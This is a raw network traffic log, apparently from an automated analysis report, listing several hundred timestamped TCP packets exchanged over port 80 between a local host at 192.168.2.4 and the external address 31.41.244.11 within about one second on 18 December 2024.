Dec 18, 2024 17:08:11.833070040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.833117962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.833169937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.833219051 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.834124088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.834167957 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.834301949 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.834350109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.835182905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.835227013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.835361004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.835417986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.837486982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.837505102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.837534904 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.837552071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.838800907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.838818073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.838856936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.838875055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.839155912 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.839173079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.839206934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.839220047 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.839540958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.839589119 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.839843988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.839900017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.841031075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.841048002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.841095924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.841783047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.841799974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.841829062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.841841936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.842911005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.842962027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.843050003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.843091965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.843822002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.843871117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.843990088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.844036102 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.844935894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.844980955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.845057964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.845103025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.846014023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.846082926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.846129894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.846174002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.847074032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.847130060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.847202063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.847248077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.848110914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.848161936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.848253012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.848295927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.849277973 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.849330902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.849360943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.849409103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.850266933 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.850313902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.850400925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.850450039 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.851366997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.851414919 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.851603985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.851659060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.852426052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.852474928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.852540970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.852587938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.853555918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.853606939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.853638887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.853683949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.854554892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.854607105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.854660988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.854701996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.855777025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.855832100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.856048107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.856095076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.856713057 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.856765032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.856910944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.856959105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.857795000 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.857848883 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.857938051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.857985973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.858916998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.858973980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.859019995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.859065056 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.860029936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.860086918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.860158920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.860205889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.861069918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.861121893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.861195087 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.861244917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.862102032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.862159967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.862215996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.862265110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.863440037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.863498926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.863557100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.863603115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.864454985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.864512920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.864593029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.864641905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.865365982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.865425110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.865469933 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.865515947 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.866472006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.866528034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.866574049 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.866624117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.867549896 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.867608070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.867717981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.867764950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.868586063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.868649006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.868715048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.868767023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.869680882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.869735003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.869800091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.869846106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.870784998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.870841980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.870913982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.870959997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.871812105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.871886969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.871933937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.871983051 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.872900009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.872958899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.873018026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.873068094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.873966932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.874023914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.874085903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.874131918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.875093937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.875147104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.875277042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.875339031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.876241922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.876301050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.876429081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.876481056 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.877332926 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.877388000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.877455950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.877504110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.878287077 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.878340960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.878426075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.878479004 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.879414082 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.879471064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.879519939 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.879570961 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.880469084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.880522013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:11.880610943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:11.880661964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.017590046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.017728090 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.017836094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.018328905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.018385887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.018439054 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.018484116 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.019272089 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.019387007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.019448042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.020308018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.020374060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.020454884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.020507097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.021394968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.021450043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.021538973 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.021584988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.022429943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.022500992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.022526026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.022572994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.023508072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.023778915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.023837090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.024688005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.024787903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.024863958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.025688887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.025780916 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.025824070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.025877953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.026897907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.026963949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.026999950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.027050018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.027831078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.027975082 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.028043032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.029012918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.029089928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.029155970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.030234098 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.030304909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.030370951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.030426979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.031049013 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.031111956 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.031147957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.031203032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.032155991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.032222033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.032285929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.032347918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.033173084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.033324003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.033390045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.034293890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.034420013 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.034567118 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.034568071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.035370111 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.035454035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.035518885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.035567999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.036539078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.036604881 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.036617994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.036668062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.037573099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.037641048 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.037669897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.037718058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.038626909 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.038798094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.039032936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.039098024 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.039771080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.039835930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.039896965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.039946079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.040723085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.040807009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.040852070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.040908098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.041867018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.042018890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.042134047 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.042948008 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.043010950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.043231010 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.043328047 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.043992043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.044112921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.044115067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.044166088 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.045041084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.045110941 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.045202017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.045285940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.046164989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.046233892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.046302080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.046348095 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.047226906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.047286034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.047379971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.047430992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.048448086 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.048504114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.048588991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.048661947 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.049480915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.049540997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.049597025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.049644947 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.050403118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.050455093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.050523996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.050584078 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.051492929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.051544905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.051604033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.051665068 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.052901983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.052961111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.053086996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.053136110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.053669930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.053728104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.053797007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.053847075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.054759979 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.054807901 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.054881096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.055011988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.055881977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.055943966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.055947065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.056001902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.056930065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.057008028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.057049990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.057094097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.057990074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.058115959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.058276892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.058373928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.059089899 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.059282064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.059346914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.060197115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.060267925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.060317993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.060363054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.061300039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.061347961 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.061506033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.061573982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.062381983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.062434912 CET	49749	80	192.168.2.4	31.41.244.11
